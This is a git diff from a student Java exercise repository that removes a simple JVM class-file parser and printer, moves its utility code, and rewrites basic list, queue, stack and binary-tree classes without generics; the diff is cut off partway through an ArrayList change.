diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/UTF8Info.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/UTF8Info.java
deleted file mode 100644
index 858f1b212d..0000000000
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/constant/UTF8Info.java
+++ /dev/null
@@ -1,34 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class UTF8Info extends ConstantInfo{
-	private int type = ConstantInfo.UTF8_INFO;
-	private int length ;
-	private String value;
-	public UTF8Info(ConstantPool pool) {
-		super(pool);
-	}
-	public int getLength() {
-		return length;
-	}
-	public void setLength(int length) {
-		this.length = length;
-	}
-	public int getType() {
-		return type;
-	}
-	@Override
-	public String toString() {
-		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
-	}
-	public String getValue() {
-		return value;
-	}
-	public void setValue(String value) {
-		this.value = value;
-	}
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visistUTF8(this);		
-	}
-		
-}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/exception/AddAnotherParserException.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/exception/AddAnotherParserException.java
deleted file mode 100644
index 9754f36adf..0000000000
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/exception/AddAnotherParserException.java
+++ /dev/null
@@ -1,10 +0,0 @@
-package com.coderising.jvm.exception;
-
-public class AddAnotherParserException extends Exception{
-
-	private static final long serialVersionUID = 5171999484216739737L;
-
-	public AddAnotherParserException(){
-		super("you should add another parser to solve the unknown AttributeInfo or Constant!");
-	}
-}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/exception/NoNextByteCodeException.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/exception/NoNextByteCodeException.java
deleted file mode 100644
index 8819309841..0000000000
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/exception/NoNextByteCodeException.java
+++ /dev/null
@@ -1,10 +0,0 @@
-package com.coderising.jvm.exception;
-
-public class NoNextByteCodeException extends Exception{
-
-	private static final long serialVersionUID = -904433109427354744L;
-
-	public NoNextByteCodeException(int byteNum){
-		super("already haven't "+byteNum+" byte data!");
-	}
-}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/exception/NotAClassFileException.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/exception/NotAClassFileException.java
deleted file mode 100644
index a627baf742..0000000000
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/exception/NotAClassFileException.java
+++ /dev/null
@@ -1,11 +0,0 @@
-package com.coderising.jvm.exception;
-
-public class NotAClassFileException extends Exception{
-
-	private static final long serialVersionUID = -3645339333237670145L;
-	
-	public NotAClassFileException() {
-		super("this file not a java class file!");
-	}
-
-}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/field/Field.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/field/Field.java
deleted file mode 100644
index f29420615a..0000000000
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/field/Field.java
+++ /dev/null
@@ -1,65 +0,0 @@
-package com.coderising.jvm.field;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.attr.AttributeInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class Field {
-	
-	private int accessFlag;
-	private int nameIndex;
-	private int descriptorIndex;
-		
-	private List<AttributeInfo> attributeInfos = new ArrayList<>();
-	
-	private ConstantPool pool;
-	
-	public Field( int accessFlag, int nameIndex, int descriptorIndex,ConstantPool pool) {
-		
-		this.accessFlag = accessFlag;
-		this.nameIndex = nameIndex;
-		this.descriptorIndex = descriptorIndex;
-		this.pool = pool;
-	}
-	
-	public int getAccessFlag() {
-		return accessFlag;
-	}
-
-	public void setAccessFlag(int accessFlag) {
-		this.accessFlag = accessFlag;
-	}
-		
-	public List<AttributeInfo> getAttributeInfos() {
-		return attributeInfos;
-	}
-
-	public void setAttributeInfos(List<AttributeInfo> attributeInfos) {
-		this.attributeInfos = attributeInfos;
-	}
-
-	@Override
-	public String toString() {
-				
-		String fieldName = pool.getUTF8String(nameIndex);
-		String fieldDesc = pool.getUTF8String(descriptorIndex);
-		
-		return (fieldName+":"+fieldDesc);
-	}
-
-	public static Field parse(ConstantPool pool,ByteCodeIterator iter){
-				
-		int accessFlag = iter.nextU2ToInt();
-		int nameIndex = iter.nextU2ToInt();
-		int descriptorIndex = iter.nextU2ToInt();
-		
-		Field field = new Field(accessFlag,nameIndex,descriptorIndex,pool);				
-		field.setAttributeInfos(AttributeInfo.parseAttributes(pool,iter));
-		
-		return field;
-	}
-	
-}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/loader/ByteCodeIterator.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/loader/ByteCodeIterator.java
deleted file mode 100644
index e69ae7b0b3..0000000000
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/loader/ByteCodeIterator.java
+++ /dev/null
@@ -1,113 +0,0 @@
-package com.coderising.jvm.loader;
-
-import com.coderising.jvm.exception.NoNextByteCodeException;
-import com.coderising.jvm.util.Util;
-
-public class ByteCodeIterator {
-
-	private byte[] codes;
-	private int cursor; 
-	
-	public static int numberOne = 1;
-	public static int numberTwo = 2;
-	public static int numberFour = 4;
-	
-	public ByteCodeIterator(byte[] codes){
-		this.codes = codes;
-	}
-	
-	public boolean hasNext(int len) {
-		return (cursor+len) <= codes.length;
-	}
-	
-	public byte[] next(int len){
-		
-		byte[] data = new byte[len];
-		
-		int j = 0;
-		for (int i = cursor; j < len; i++) {
-			data[j] = codes[i];
-			j++;
-		}
-		cursor += len;
-		
-		return data;
-	}
-	
-    public int nextU2ToInt(){
-    	
-    	if(!hasNext(numberTwo)){
-    		try {
-				throw new NoNextByteCodeException(numberTwo);
-			} catch (NoNextByteCodeException e) {
-				e.printStackTrace();
-			}
-    	}
-    	return Util.byteToInt(next(numberTwo));
-    }
-    
-    public int nextU4ToInt(){
-    	
-    	if(!hasNext(numberFour)){
-    		try {
-				throw new NoNextByteCodeException(numberFour);
-			} catch (NoNextByteCodeException e) {
-				e.printStackTrace();
-			}
-    	}
-    	return Util.byteToInt(next(numberFour));
-    }
-    
-    public int nextInt(){
-    	
-    	if(!hasNext(numberOne)){
-    		try {
-				throw new NoNextByteCodeException(numberOne);
-			} catch (NoNextByteCodeException e) {
-				e.printStackTrace();
-			}
-    	}
-    	return Util.byteToInt(next(numberOne));
-    }
-    
-    public String nextStr(int len){
-    	
-    	if(!hasNext(len)){
-    		try {
-				throw new NoNextByteCodeException(len);
-			} catch (NoNextByteCodeException e) {
-				e.printStackTrace();
-			}
-    	}
-    	char[] arr = new char[len];
-    	for (int i = 0; i < len; i++) {
-    		arr[i] = (char)nextInt();
-		}
-    	return new String(arr);
-    }
-    
-    public String nextUxToHexString(int len) {
-		
-    	if(!hasNext(len)){
-    		try {
-				throw new NoNextByteCodeException(len);
-			} catch (NoNextByteCodeException e) {
-				e.printStackTrace();
-			}
-    	}
-		return Util.byteToHexString(next(len)).toLowerCase();
-
-	}
-    
-    /**
-     * 回退
-     */
-    public void back(int backLen){
-    	
-    	if( backLen<= this.cursor ){
-    		this.cursor -= backLen;
-    	}else{
-    		this.cursor = 0;
-    	}
-    }
-}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/loader/ClassFileLoader.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/loader/ClassFileLoader.java
index 4ba2613f1a..59d12540fc 100644
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/loader/ClassFileLoader.java
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/loader/ClassFileLoader.java
@@ -4,19 +4,15 @@
 import java.util.ArrayList;
 import java.util.List;
 
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.exception.NotAClassFileException;
-import com.coderising.jvm.util.Util;
-
 public class ClassFileLoader {
 
 	private List<String> clzPaths = new ArrayList<String>();
 	
 	public byte[] readBinaryCode(String className) {
 		
-		File clzFile = Util.getClzFile(clzPaths,className);
+		File clzFile = ClassFileLoaderUtil.getClzFile(clzPaths,className);
         		
-		return Util.readClz(clzFile);	
+		return ClassFileLoaderUtil.readClz(clzFile);	
 				
 	}
 		
@@ -34,10 +30,4 @@ public String getClassPath(){
 		return buff.substring(0, buff.length()-1);
 	}
 
-	public ClassFile loadClass(String className) throws NotAClassFileException  {
-		byte[] codes = this.readBinaryCode(className);
-		ClassFileParser parser = new ClassFileParser();
-		return parser.parse(codes);
-		
-	}
 }
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/util/Util.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/loader/ClassFileLoaderUtil.java
similarity index 69%
rename from group12/2258659044/zj-2017/src/com/coderising/jvm/util/Util.java
rename to group12/2258659044/zj-2017/src/com/coderising/jvm/loader/ClassFileLoaderUtil.java
index d0456fead2..61faafb77d 100644
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/util/Util.java
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/loader/ClassFileLoaderUtil.java
@@ -1,4 +1,4 @@
-package com.coderising.jvm.util;
+package com.coderising.jvm.loader;
 
 import java.io.ByteArrayOutputStream;
 import java.io.File;
@@ -7,27 +7,8 @@
 import java.io.InputStream;
 import java.util.List;
 
-public class Util {
-	
-	public static int byteToInt(byte[] codes){
-    	String s1 = byteToHexString(codes);
-    	return Integer.valueOf(s1, 16).intValue();
-    }
-       
-	public static String byteToHexString(byte[] codes ){
-		StringBuffer buffer = new StringBuffer();
-		for(int i=0;i<codes.length;i++){
-			byte b = codes[i];
-			int value = b & 0xFF;
-			String strHex = Integer.toHexString(value);
-			if(strHex.length()< 2){
-				strHex = "0" + strHex;
-			}		
-			buffer.append(strHex);
-		}
-		return buffer.toString();
-	}
-	
+public class ClassFileLoaderUtil {
+
 	/**
 	 * 根据类完整包名与classPath获取类class文件
 	 * @return
@@ -87,5 +68,4 @@ public static byte[] readClz(File file){
 		}
 		return data;
 	}
-	
 }
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/loader/ClassFileParser.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/loader/ClassFileParser.java
deleted file mode 100644
index 0d49151217..0000000000
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/loader/ClassFileParser.java
+++ /dev/null
@@ -1,154 +0,0 @@
-package com.coderising.jvm.loader;
-
-import com.coderising.jvm.clz.AccessFlag;
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.clz.ClassIndex;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-import com.coderising.jvm.constant.NullConstantInfo;
-import com.coderising.jvm.constant.StringInfo;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.exception.AddAnotherParserException;
-import com.coderising.jvm.exception.NotAClassFileException;
-import com.coderising.jvm.field.Field;
-import com.coderising.jvm.method.Method;
-import com.coderising.jvm.util.Util;
-
-public class ClassFileParser {
-	
-	public ClassFile parse(byte[] codes) throws NotAClassFileException  {
-
-		ByteCodeIterator iterator = new ByteCodeIterator(codes);
-		if(!validator(iterator)){
-			throw new NotAClassFileException();
-		}
-		ClassFile clazzFile = new ClassFile();
-
-		clazzFile.setMinorVersion(iterator.nextU2ToInt());
-
-		clazzFile.setMajorVersion(iterator.nextU2ToInt());
-
-		clazzFile.setConstPool(parseConstantPool(iterator,clazzFile));
-		
-		clazzFile.setAccessFlag(parseAccessFlag(iterator));
-		
-		clazzFile.setClassIndex(parseClassInfex(iterator));
-		
-		parseInterfaces(iterator);
-			
-		//解析属性
-        int fieldCount = iterator.nextU2ToInt();		
-		for (int i = 0; i < fieldCount; i++) {			
-			clazzFile.addField(Field.parse(clazzFile.getConstantPool(), iterator));
-		}
-		//解析方法
-		int methodCount = iterator.nextU2ToInt();
-		for (int i = 0; i < methodCount; i++) {
-			clazzFile.addMethod(Method.parse(clazzFile.getConstantPool(), iterator));;
-		}
-			
-		return clazzFile;
-	}
-
-	private AccessFlag parseAccessFlag(ByteCodeIterator iter){
-
-		return new AccessFlag(iter.nextU2ToInt());
-	}
-
-	private ClassIndex parseClassInfex(ByteCodeIterator iter){
-
-		ClassIndex classIndex = new ClassIndex();
-		classIndex.setThisClassIndex(iter.nextU2ToInt());
-		classIndex.setSuperClassIndex(iter.nextU2ToInt());
-		return classIndex;
-	}
-
-	private ConstantPool parseConstantPool(ByteCodeIterator iter,ClassFile clazzFile){
-			
-		ConstantPool pool = new ConstantPool(clazzFile);
-		pool.addConstantInfo(new NullConstantInfo());
-		
-		try {
-			
-			int poolSize = iter.nextU2ToInt();
-			for (int i = 1; i < poolSize; i++) {
-			    int tag = iter.nextInt();		
-				switch (tag) {
-				case ConstantInfo.UTF8_INFO:
-					UTF8Info UTF8Info = new UTF8Info(pool);
-					int len = iter.nextU2ToInt();
-					String value = iter.nextStr(len);
-					UTF8Info.setLength(len);
-					UTF8Info.setValue(value);
-					pool.addConstantInfo(UTF8Info);				
-					break;
-			    case ConstantInfo.FLOAT_INFO:
-			    	//TODO
-					break;
-			    case ConstantInfo.CLASS_INFO:
-			    	ClassInfo classInfo = new ClassInfo(pool);
-			    	classInfo.setUtf8Index(iter.nextU2ToInt());
-			    	pool.addConstantInfo(classInfo);
-					break;
-			    case ConstantInfo.STRING_INFO:
-			    	StringInfo stringInfo = new StringInfo(pool);
-			    	stringInfo.setIndex(iter.nextU2ToInt());
-			    	pool.addConstantInfo(stringInfo);
-					break;
-			    case ConstantInfo.FIELD_INFO:
-			    	FieldRefInfo fieldRefInfo = new FieldRefInfo(pool);
-			    	fieldRefInfo.setClassInfoIndex(iter.nextU2ToInt());
-			    	fieldRefInfo.setNameAndTypeIndex(iter.nextU2ToInt());
-			    	pool.addConstantInfo(fieldRefInfo);
-					break;	
-			    case ConstantInfo.METHOD_INFO:
-			    	MethodRefInfo methodRefInfo = new MethodRefInfo(pool);
-			    	methodRefInfo.setClassInfoIndex(iter.nextU2ToInt());
-			    	methodRefInfo.setNameAndTypeIndex(iter.nextU2ToInt());
-			    	pool.addConstantInfo(methodRefInfo);
-					break;	
-			    case ConstantInfo.NAME_AND_TYPE_INFO:
-			    	NameAndTypeInfo nameAndTypeInfo = new NameAndTypeInfo(pool);
-			    	nameAndTypeInfo.setIndex1(iter.nextU2ToInt());
-			    	nameAndTypeInfo.setIndex2(iter.nextU2ToInt());
-			    	pool.addConstantInfo(nameAndTypeInfo);
-					break;		
-				default:
-					throw new AddAnotherParserException();
-				}
-			}
-		} catch (AddAnotherParserException e) {
-			e.printStackTrace();
-		}	
-		return pool;
-	}
-	
-	private void parseInterfaces(ByteCodeIterator iter){
-		
-		@SuppressWarnings("unused")
-		int interfaceCount = iter.nextU2ToInt();
-		//System.out.println("接口数量为："+interfaceCount);
-		// TODO
-	}
-	
-	/**
-	 * 校验是否为class文件
-	 * @param iterator
-	 * @return
-	 */
-	private boolean validator(ByteCodeIterator iterator){
-		
-		if(iterator.hasNext(4)){
-			byte[] magicByte = iterator.next(4);
-			String magicNumber = Util.byteToHexString(magicByte);
-			if("cafebabe".equals(magicNumber)){
-				return true;
-			}
-		}
-		return false;
-	}
-}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/method/Method.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/method/Method.java
deleted file mode 100644
index 245ccdc558..0000000000
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/method/Method.java
+++ /dev/null
@@ -1,77 +0,0 @@
-package com.coderising.jvm.method;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.attr.AttributeInfo;
-import com.coderising.jvm.attr.CodeAttr;
-import com.coderising.jvm.cmd.ByteCodeCommand;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class Method {
-	
-	private int accessFlag;
-	private int nameIndex;
-	private int descriptorIndex;
-	private ConstantPool pool;	
-	private List<AttributeInfo> attributeInfos = new ArrayList<>();
-	
-	
-	public Method(ConstantPool pool,int accessFlag, int nameIndex, int descriptorIndex) {
-		this.pool = pool;
-		this.accessFlag = accessFlag;
-		this.nameIndex = nameIndex;
-		this.descriptorIndex = descriptorIndex;
-	}
-	
-	public static Method parse(ConstantPool  pool, ByteCodeIterator iter){
-		
-		int accessFlag = iter.nextU2ToInt();
-		int nameIndex = iter.nextU2ToInt();
-		int descriptorIndex = iter.nextU2ToInt();
-		
-		Method method = new Method(pool,accessFlag,nameIndex,descriptorIndex);
-		method.setAttributeInfos(AttributeInfo.parseAttributes(pool,iter));
-		
-		return method;		
-	}
-	
-	public ByteCodeCommand[] getCmds() {
-		
-		for (AttributeInfo attributeInfo : attributeInfos) {
-			if(attributeInfo instanceof CodeAttr){
-				return ((CodeAttr) attributeInfo).getCmds();
-			}
-		}
-		return null;
-	}
-	
-	public int getAccessFlag() {
-		return accessFlag;
-	}
-
-	public void setAccessFlag(int accessFlag) {
-		this.accessFlag = accessFlag;
-	}
-	
-	public ConstantPool getPool() {
-		return pool;
-	}
-
-	public int getNameIndex() {
-		return nameIndex;
-	}
-	public int getDescriptorIndex() {
-		return descriptorIndex;
-	}
-	
-	
-	public List<AttributeInfo> getAttributeInfos() {
-		return attributeInfos;
-	}
-
-	public void setAttributeInfos(List<AttributeInfo> attributeInfos) {
-		this.attributeInfos = attributeInfos;
-	}
-}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/print/ClassFilePrinter.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/print/ClassFilePrinter.java
deleted file mode 100644
index e0be352da4..0000000000
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/print/ClassFilePrinter.java
+++ /dev/null
@@ -1,52 +0,0 @@
-package com.coderising.jvm.print;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.exception.NotAClassFileException;
-import com.coderising.jvm.loader.ClassFileLoader;
-
-public class ClassFilePrinter {
-	
-	ClassFile clzFile = null;
-	public ClassFilePrinter(ClassFile clzFile){
-		this.clzFile = clzFile;
-	}
-	
-	public void print(){
-		
-		if(clzFile.getAccessFlag().isPublicClass()){
-			System.out.println("Access flag:public  ");
-		}
-		System.out.println("Class Name:"+ clzFile.getClassName());
-		
-		System.out.println("Super ClassName:"+ clzFile.getSuperClassName());
-		
-		System.out.println("minor version:" + clzFile.getMinorVersion());
-		
-		System.out.println("major version:" + clzFile.getMinorVersion()+"\n");
-		
-		ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
-		cnstPoolPrinter.print();
-		
-		
-		
-		
-	}
-	
-	public static void main(String[] args){
-		String path = "F:\\githubRes\\coding2017\\group12\\2258659044\\zj-2017\\bin";
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path);
-		String className = "test.com.coderising.jvm.EmployeeV1";
-		
-		ClassFile clzFile = null;
-		try {
-			clzFile = loader.loadClass(className);
-		} catch (NotAClassFileException e) {
-			e.printStackTrace();
-		}
-		
-		ClassFilePrinter printer  = new ClassFilePrinter(clzFile);
-		
-		printer.print();
-	}
-}
\ No newline at end of file
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/print/ConstantPoolPrinter.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/print/ConstantPoolPrinter.java
deleted file mode 100644
index f2327a8029..0000000000
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/print/ConstantPoolPrinter.java
+++ /dev/null
@@ -1,112 +0,0 @@
-package com.coderising.jvm.print;
-
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-import com.coderising.jvm.constant.StringInfo;
-import com.coderising.jvm.constant.UTF8Info;
-
-public class ConstantPoolPrinter {
-	
-	ConstantPool pool;
-	ConstantPoolPrinter(ConstantPool pool){
-		this.pool = pool;
-	}
-	public void print(){
-		
-		System.out.println("Constant Pool:");
-		
-		ConstantInfo.Visitor visitor = new ConstantInfo.Visitor() {
-			
-			@Override
-			public void visitString(StringInfo info) {
-				StringBuilder buffer = new StringBuilder();
-				buffer.append(printConsName("string")).append("#"+info.getIndex());
-				System.out.println(buffer);
-				
-			}
-			
-			@Override
-			public void visitNameAndType(NameAndTypeInfo info) {
-				StringBuilder buffer = new StringBuilder();
-				buffer.append(printConsName("NameAndType")).append("#"+info.getIndex1()).append(":#")
-				.append(info.getIndex2());
-				System.out.println(buffer);
-				
-			}
-			
-			@Override
-			public void visitMethodRef(MethodRefInfo info) {
-				StringBuilder buffer = new StringBuilder();
-				buffer.append(printConsName("MethodRef")).append("#"+info.getClassInfoIndex()).append(".#")
-				.append(info.getNameAndTypeIndex());
-				System.out.println(buffer);
-				
-			}
-			
-			@Override
-			public void visitFieldRef(FieldRefInfo info) {
-				StringBuilder buffer = new StringBuilder();
-				buffer.append(printConsName("FieldRef")).append("#"+info.getClassInfoIndex()).append(".#")
-				.append(info.getNameAndTypeIndex());
-				System.out.println(buffer);
-				
-			}
-			
-			@Override
-			public void visitClassInfo(ClassInfo info) {
-				StringBuilder buffer = new StringBuilder();
-				buffer.append(printConsName("Class")).append("#"+info.getUtf8Index())
-				.append("  ").append(info.getClassName());
-				
-				System.out.println(buffer);
-				
-			}
-			
-			@Override
-			public void visistUTF8(UTF8Info info) {
-				StringBuilder buffer = new StringBuilder();
-				buffer.append(printConsName("UTF8")).append(info.getValue());
-				System.out.println(buffer);
-				
-			}
-		};
-		
-		int size = pool.getSize();		
-		for(int i=1; i<=size; i++){
-			ConstantInfo constantInfo = pool.getConstantInfo(i);
-			String space = genaralSpace(size,i);
-			System.out.print(space+"#"+i+"=");
-			constantInfo.accept(visitor);			
-		}
-	}
-	
-	private String genaralSpace(int size,int i){
-		
-		int s1 = String.valueOf(size).length();//数字的位数
-		int s2 = String.valueOf(i).length();//数字的位数
-		StringBuffer str = new StringBuffer();
-		for (int j = 0; j < s1-s2; j++) {
-			str.append(" ");
-		}
-		return str.toString();
-	}
-	
-	/**
-	 * 输出常量名称后面的空格
-	 * @param consBeforStr
-	 */
-	private String printConsName(String consName){
-		
-		String bashStr = "NameAndType";		
-		int bashLen = bashStr.length();
-		int offset = bashLen-consName.length();
-		for (int i = 0; i < offset; i++) {
-			consName+= " ";
-		}
-		return consName+"     ";
-	}
-}
diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/BinaryTree.java b/group12/2258659044/zj-2017/src/com/coding/basic/BinaryTree.java
index 3fe9965b5e..0b8eafc282 100644
--- a/group12/2258659044/zj-2017/src/com/coding/basic/BinaryTree.java
+++ b/group12/2258659044/zj-2017/src/com/coding/basic/BinaryTree.java
@@ -5,7 +5,7 @@
 public class BinaryTree {
 	
 	//根节点
-	private BinaryTreeNode<Integer> root;	
+	private BinaryTreeNode root;	
 	    
 	@SuppressWarnings({ "rawtypes", "unchecked" })
 	public <T extends Comparable<? super T>> BinaryTreeNode insert(T o){
@@ -44,12 +44,12 @@ public <T extends Comparable<? super T>> BinaryTreeNode insert(T o){
 	 * @param node
 	 * @return
 	 */
-	public List<Integer> traversalBefore(BinaryTreeNode<Integer> node){
+	public List traversalBefore(BinaryTreeNode node){
 		//所有数据集合
-	    List<Integer> datas = new ArrayList<>();
+	    List datas = new ArrayList();
 	    return traversal(node,datas);
 	}
-	private List<Integer> traversal(BinaryTreeNode<Integer> node,List<Integer> datas){
+	private List traversal(BinaryTreeNode node,List datas){
 		
 		if(node !=null){
 			datas.add(node.getData());
@@ -59,7 +59,7 @@ private List<Integer> traversal(BinaryTreeNode<Integer> node,List<Integer> datas
 		return datas;
 	}
 
-	public BinaryTreeNode<Integer> getRoot() {
+	public BinaryTreeNode getRoot() {
 		return root;
 	}
 		
diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/BinaryTreeNode.java b/group12/2258659044/zj-2017/src/com/coding/basic/BinaryTreeNode.java
index 5e8c90fa54..a8e6b66edd 100644
--- a/group12/2258659044/zj-2017/src/com/coding/basic/BinaryTreeNode.java
+++ b/group12/2258659044/zj-2017/src/com/coding/basic/BinaryTreeNode.java
@@ -1,37 +1,37 @@
-package com.coding.basic;
-public class BinaryTreeNode<E> {
-	
-	private E data;
-	//父节点
-	private BinaryTreeNode<E> parent;
-	private BinaryTreeNode<E> left;
-	private BinaryTreeNode<E> right;
-	
-	public E getData() {
-		return data;
-	}
-	public void setData(E data) {
-		this.data = data;
-	}
-	
-	public BinaryTreeNode<E> getLeft() {
-		return left;
-	}
-	public void setLeft(BinaryTreeNode<E> left) {
-		this.left = left;
-	}
-	
-	public BinaryTreeNode<E> getRight() {
-		return right;
-	}
-	public void setRight(BinaryTreeNode<E> right) {
-		this.right = right;
-	}
-	
-	public BinaryTreeNode<E> getParent() {
-		return parent;
-	}
-	public void setParent(BinaryTreeNode<E> parent) {
-		this.parent = parent;
-	}
-}
+package com.coding.basic;
+public class BinaryTreeNode {
+	
+	private Object data;
+	//父节点
+	private BinaryTreeNode parent;
+	private BinaryTreeNode left;
+	private BinaryTreeNode right;
+	
+	public Object getData() {
+		return data;
+	}
+	public void setData(Object data) {
+		this.data = data;
+	}
+	
+	public BinaryTreeNode getLeft() {
+		return left;
+	}
+	public void setLeft(BinaryTreeNode left) {
+		this.left = left;
+	}
+	
+	public BinaryTreeNode getRight() {
+		return right;
+	}
+	public void setRight(BinaryTreeNode right) {
+		this.right = right;
+	}
+	
+	public BinaryTreeNode getParent() {
+		return parent;
+	}
+	public void setParent(BinaryTreeNode parent) {
+		this.parent = parent;
+	}
+}
diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/Iterator.java b/group12/2258659044/zj-2017/src/com/coding/basic/Iterator.java
index d72c308c07..c854120212 100644
--- a/group12/2258659044/zj-2017/src/com/coding/basic/Iterator.java
+++ b/group12/2258659044/zj-2017/src/com/coding/basic/Iterator.java
@@ -1,8 +1,8 @@
-package com.coding.basic;
-
-public interface Iterator {
-	
-	public boolean hasNext();
-	public Object next();
-
-}
+package com.coding.basic;
+
+public interface Iterator {
+	
+	public boolean hasNext();
+	public Object next();
+
+}
diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/List.java b/group12/2258659044/zj-2017/src/com/coding/basic/List.java
index 7fd5915bae..a5a3688eb6 100644
--- a/group12/2258659044/zj-2017/src/com/coding/basic/List.java
+++ b/group12/2258659044/zj-2017/src/com/coding/basic/List.java
@@ -1,10 +1,10 @@
-package com.coding.basic;
-
-public interface List<E> {
-	
-	public void add(E o);
-	public void add(int index, E o);
-	public E get(int index);
-	public E remove(int index);
-	public int size();
+package com.coding.basic;
+
+public interface List {
+	
+	public void add(Object o);
+	public void add(int index, Object o);
+	public Object get(int index);
+	public Object remove(int index);
+	public int size();
 }
\ No newline at end of file
diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/Queue.java b/group12/2258659044/zj-2017/src/com/coding/basic/Queue.java
index 169fc0dcb9..aa8429ac59 100644
--- a/group12/2258659044/zj-2017/src/com/coding/basic/Queue.java
+++ b/group12/2258659044/zj-2017/src/com/coding/basic/Queue.java
@@ -2,16 +2,16 @@
 
 import com.coding.basic.linklist.LinkedList;
 
-public class Queue<E> {
+public class Queue {
 	
-	private LinkedList<E> element = new LinkedList<E>();
+	private LinkedList element = new LinkedList();
 	
-	public void enQueue(E o){	
+	public void enQueue(Object o){	
 		
 		element.add(o);
 	}
 	
-	public E deQueue(){
+	public Object deQueue(){
 		
 		return element.removeFirst();
 	}
diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/Stack.java b/group12/2258659044/zj-2017/src/com/coding/basic/Stack.java
new file mode 100644
index 0000000000..2b08e856c1
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coding/basic/Stack.java
@@ -0,0 +1,30 @@
+package com.coding.basic;
+
+import com.coding.basic.array.ArrayList;
+
+public class Stack {
+	
+	private ArrayList elementData = new ArrayList();
+	
+	public void push(Object o){	
+		
+		elementData.add(o);
+	}
+	
+	public Object pop(){
+		
+		return elementData.remove(size()-1);
+	}
+	
+	public Object peek(){
+		
+		return elementData.get(size()-1);
+	}
+	public boolean isEmpty(){
+
+		return size()==0;
+	}
+	public int size(){
+		return elementData.size();
+	}
+}
diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/array/ArrayList.java b/group12/2258659044/zj-2017/src/com/coding/basic/array/ArrayList.java
index 73f3b9649e..4bbf60adf9 100644
--- a/group12/2258659044/zj-2017/src/com/coding/basic/array/ArrayList.java
+++ b/group12/2258659044/zj-2017/src/com/coding/basic/array/ArrayList.java
@@ -5,7 +5,7 @@
 import com.coding.basic.Iterator;
 import com.coding.basic.List;
 
-public class ArrayList<E> implements List<E> {
+public class ArrayList implements List {
 	
 	private int size = 0;	
 	/*扩容因子*/
@@ -15,12 +15,12 @@ public class ArrayList<E> implements List<E> {
 	/*扩容引用*/
 	private Object[] newElementData;
 	
-	public void add(E o){
+	public void add(Object o){
 		grow();
 		elementData[size] = o;		
 		size ++;
 	}
-	public void add(int index, E o){
+	public void add(int index, Object o){
 		
 		if(index<0||index>size){
 			throw new IndexOutOfBoundsException("Index: "+index+",Size:"+size);
@@ -36,21 +36,19 @@ public void add(int index, E o){
 		size ++;
 	}
 	
-	public E get(int index){
+	public Object get(int index){
 		
-		rangeCheck(index);
-		return elementData(index);
+		if(index<0||index>size){
